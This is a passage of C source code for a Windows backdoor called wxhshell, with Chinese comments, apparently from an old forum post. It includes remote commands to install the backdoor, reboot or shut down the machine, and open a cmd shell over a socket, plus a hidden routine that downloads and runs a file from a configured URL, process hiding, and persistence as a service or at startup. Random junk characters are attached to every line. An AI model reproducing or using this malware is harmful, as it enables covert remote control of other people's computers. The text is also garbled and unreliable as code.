  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :QVGY^c  
  } r)t^qhn  
  else { o;[oy#aWl_  
WdT|xf.Q&  
    switch(cmd[0]) { >$y >  
  ^Toi_  
  // 帮助 (Y>MsqwWfC  
  case '?': { =(ZGaZ}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <}%ir,8  
    break; wGvgMZ]?'  
  } -)oBh  
  // 安装 G DV-wPX  
  case 'i': { MjpJAV/84  
    if(Install()) US4Um>j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HhL%iy1  
    else ju#6 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@OA>  
    break;  zjA/Z(  
    } G)&'8W F5o  
  // 卸载 M2}<gRL*}J  
  case 'r': { 9^u?v`!  
    if(Uninstall()) vrzX%'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); to3J@:V8e  
    else /<0D E22  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H#inr^Xa  
    break; spJ(1F{|V  
    } LzRiiP^q  
  // 显示 wxhshell 所在路径 0Mg8{  
  case 'p': { j;)g+9`  
    char svExeFile[MAX_PATH]; ^{:jY, ?]  
    strcpy(svExeFile,"\n\r"); F-^HN%  
      strcat(svExeFile,ExeFile); k`TJ<Dv;  
        send(wsh,svExeFile,strlen(svExeFile),0); 0>iFXw:fn  
    break; &._!)al  
    } }&DB5M  
  // 重启 Zjg\jo  
  case 'b': { Nz*sD^SJa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2HXKz7da  
    if(Boot(REBOOT)) X:lPWz!7{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <im<(=m9  
    else { <(4#4=ivP  
    closesocket(wsh); pm]DxJ@  
    ExitThread(0); SFk#bh  
    }  7E`(8i  
    break; 0j(jJAE.  
    } mE`qvavP|/  
  // 关机 PuCDsojclh  
  case 'd': { 4q13xX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 61W/BU7O  
    if(Boot(SHUTDOWN)) 1G%PXrEj8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$O_L4CP  
    else { PgLS\_B  
    closesocket(wsh); 3]<re{)J9O  
    ExitThread(0); H'{?aaK|t  
    } Ia`JIc^e  
    break; M~Qj'VVL  
    } S tnv>  
  // 获取shell p*`SGX  
  case 's': { QZ3(u<f  
    CmdShell(wsh); l(,;wAH  
    closesocket(wsh); *fi;ZUPW3  
    ExitThread(0); PCPf*G>  
    break; {R-82%X  
  } =HY1l}\  
  // 退出 & 8' (  
  case 'x': { 6_<s=nTX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zLQ#GF  
    CloseIt(wsh); ZBmXaP[9  
    break; z5` 8G =A  
    } `{U%[$<[W  
  // 离开 f{Fe+iPc  
  case 'q': { Ah>gC!F^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]hE +$sKd  
    closesocket(wsh); QW~5+c9JJ  
    WSACleanup(); Mf:M3H%YV+  
    exit(1); ) p<fL  
    break; j\'+wVyo  
        } (+UmUx=  
  } oWDSK^  
  } ')5L_$  
h zZ-$IX X  
  // 提示信息 W&e'3gk_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qA/#IUi)1  
} e(~'pk"mZ  
  } SgpZ;\_  
LgP>u?]n  
  return; ^r>f2 x  
} 1iJ0Hut}d  
jQ_dw\ {0  
// shell模块句柄 EK?@Z.q+  
int CmdShell(SOCKET sock) 3+(yI 4  
{ L/q]QgCoA  
STARTUPINFO si; @%OPy|=,{  
ZeroMemory(&si,sizeof(si)); +_ *eu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WVS$O99Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wfBuU>  
PROCESS_INFORMATION ProcessInfo; 7`IUMYl#~  
char cmdline[]="cmd"; O`i)?BC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Y'8:ncDn  
  return 0; uw Kh  
} 3s`V)aXP  
rH$eB/#F  
// 自身启动模式 /!=U +X  
int StartFromService(void) J?UA:u  
{ Nfv="t9e  
typedef struct +`;+RDKY*  
{ Z+Yeg  
  DWORD ExitStatus; _1>SG2h{fV  
  DWORD PebBaseAddress; 5vD3K! \u  
  DWORD AffinityMask; xwPI  
  DWORD BasePriority; "jL1. 9%"  
  ULONG UniqueProcessId; dqqnCXYuW  
  ULONG InheritedFromUniqueProcessId; MV:W@)rg  
}   PROCESS_BASIC_INFORMATION; j4;Du>obQ  
\U/v;Ijf  
PROCNTQSIP NtQueryInformationProcess; NWEhAj<w  
,YjxC p3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VmN}FMGN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pw@`}cM=  
JOBz{;:R{  
  HANDLE             hProcess; M_k`%o  
  PROCESS_BASIC_INFORMATION pbi; w6vLNX  
0 _Q * E3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jm+ V$YBP  
  if(NULL == hInst ) return 0; 9Ei5z6Vk/+  
N83!C=X'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cZqfz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {'NBp0i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R7lYu\mA  
C(G(^_6  
  if (!NtQueryInformationProcess) return 0; & x`&03X  
Qh*)pt]n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hjkLVL  
  if(!hProcess) return 0; 1\/{#c  
z&O#v9.NE|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  KyTuF   
Z a! gbt  
  CloseHandle(hProcess); rn;<HT  
axX{6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a0PE^U  
if(hProcess==NULL) return 0; 6,X+1EXY  
GQb i$kl  
HMODULE hMod; +p9- .YM  
char procName[255]; GMl"{ Oxo&  
unsigned long cbNeeded; g0PT8]8  
rvwa!YY}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qe<Hfp/p  
OZf6/10O/  
  CloseHandle(hProcess); =~&VdPZ  
?-f,8Z|h  
if(strstr(procName,"services")) return 1; // 以服务启动 *Ddi(`  
:5J_5,?;`  
  return 0; // 注册表启动 *7ZtNo[+  
} YScvyh?E  
nob0T5G  
// 主模块 V C-d0E0  
int StartWxhshell(LPSTR lpCmdLine) L_~8"I_  
{ 7tRi"\[5  
  SOCKET wsl; M*w'1fT  
BOOL val=TRUE; h$`#YNd'  
  int port=0; <`)iA-Df;9  
  struct sockaddr_in door; @ &pqt6/t  
?^}_j vT  
  if(wscfg.ws_autoins) Install(); k[ %aCGo  
f"dSr  
port=atoi(lpCmdLine); 2Q@Y^t   
/`3 #4=5-  
if(port<=0) port=wscfg.ws_port; .fp&MgiQ  
vQ1 v# Z  
  WSADATA data; wksl0:BL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "u492^  
Y]Vq\]m\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U<^F4*G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?T!)X)A#  
  door.sin_family = AF_INET; pvF-Y9Xb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O6X"RsI}  
  door.sin_port = htons(port); ((bTwx  
iX"C/L|JN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l$XPIC~H  
closesocket(wsl); .X'pq5  
return 1; r|eZv<6  
} /<{:I \<  
02=lsV!U  
  if(listen(wsl,2) == INVALID_SOCKET) { ~TqT }:,H  
closesocket(wsl); ) #+^ sAO  
return 1; H C0w;MG)  
} xr%#dVk  
  Wxhshell(wsl); /?*]lH.  
  WSACleanup(); GpI!J}~m  
b~w=v_[(I  
return 0; iM]o"qOQm  
O9"/ kmB  
} 2VGg 6%  
NxA)@9Q  
// 以NT服务方式启动 ]uQqn]+I!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yN6>VD{F  
{ yZ kyC'/  
DWORD   status = 0; B*3Y !!  
  DWORD   specificError = 0xfffffff; [p;E~-S  
U;q];e:,=}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i+{yMol1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yuhnYR\`m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )B$;Vs] @i  
  serviceStatus.dwWin32ExitCode     = 0; ,|kDsR !  
  serviceStatus.dwServiceSpecificExitCode = 0; 4\M.6])_   
  serviceStatus.dwCheckPoint       = 0; 5jxQW ;  
  serviceStatus.dwWaitHint       = 0; nh>K`+>co  
Np+&t}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w= P 9FxB  
  if (hServiceStatusHandle==0) return; NnT g3:.  
U}k9 Py  
status = GetLastError(); CQh,~  
  if (status!=NO_ERROR) Bun> <Y @  
{ k%]=!5F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `n5"0QRd  
    serviceStatus.dwCheckPoint       = 0; !> }.~[M  
    serviceStatus.dwWaitHint       = 0; #~O b)q|  
    serviceStatus.dwWin32ExitCode     = status; <FI-zca  
    serviceStatus.dwServiceSpecificExitCode = specificError; e [_m< e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mtz#}qD66  
    return; UFAL1c<V  
  } 3jB$2:#  
#n0Y6Pr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5NoI~X=  
  serviceStatus.dwCheckPoint       = 0; ,JU@|`  
  serviceStatus.dwWaitHint       = 0; . \   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X4l@woh%  
} s, k  
8{`?= &%6  
// 处理NT服务事件,比如:启动、停止 W"^wnGa@a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t58e(dgi  
{ ]I3!fEAWR  
switch(fdwControl) $un?0S  
{ 8#!i[UF dj  
case SERVICE_CONTROL_STOP: ; bHV  
  serviceStatus.dwWin32ExitCode = 0; [ i#zP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b4^`DHRu6  
  serviceStatus.dwCheckPoint   = 0; ]BR,M4   
  serviceStatus.dwWaitHint     = 0; {pM?5"M MJ  
  { [kE."#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pvmC$n^zc  
  } jReXyRmo({  
  return; ,|&9M^  
case SERVICE_CONTROL_PAUSE: ~/.7l8)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P ;IrBq6|o  
  break; 3U_2!zF3_  
case SERVICE_CONTROL_CONTINUE: &gzCteS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RV@*c4KvO+  
  break; @E:,lA  
case SERVICE_CONTROL_INTERROGATE: >jD[X5Y  
  break; Y ')x/H  
}; =s<( P1|"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); */|BpakD<  
} +\v?d&.f0  
zOQ>d|p?X  
// 标准应用程序主函数 bw\@W{a%q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8#vc(04(  
{ ;G%R<Z  
Ja9e^`i;  
// 获取操作系统版本 _%QhOY5tv"  
OsIsNt=GetOsVer(); Yk=PS[f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iX)%Q  
eUg~)m5G  
  // 从命令行安装 w K}T`*k  
  if(strpbrk(lpCmdLine,"iI")) Install(); R=jI?p  
i-6 Z"b{  
  // 下载执行文件 1YH+d0UGn  
if(wscfg.ws_downexe) { '3g[]M@M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?!+MM&c-n  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mxv;k%l|E|  
} lv04g} W  
+llR204  
if(!OsIsNt) { >D4# y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;n 7/O5M|  
HideProc(); Ftr5k^!  
StartWxhshell(lpCmdLine); xoN3  
} [EKQR>s)  
else 6ZP"p<xX  
  if(StartFromService()) .nVa[B |.  
  // 以服务方式启动 _WRFsDZ'  
  StartServiceCtrlDispatcher(DispatchTable); xU4 +|d  
else S Em Q@1  
  // 普通方式启动 e7sp =I ,  
  StartWxhshell(lpCmdLine); Rx}$0c0  
tIuCct-  
return 0; ()6wvu}  
}
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只看该作者 1 发表于: 2006-10-10
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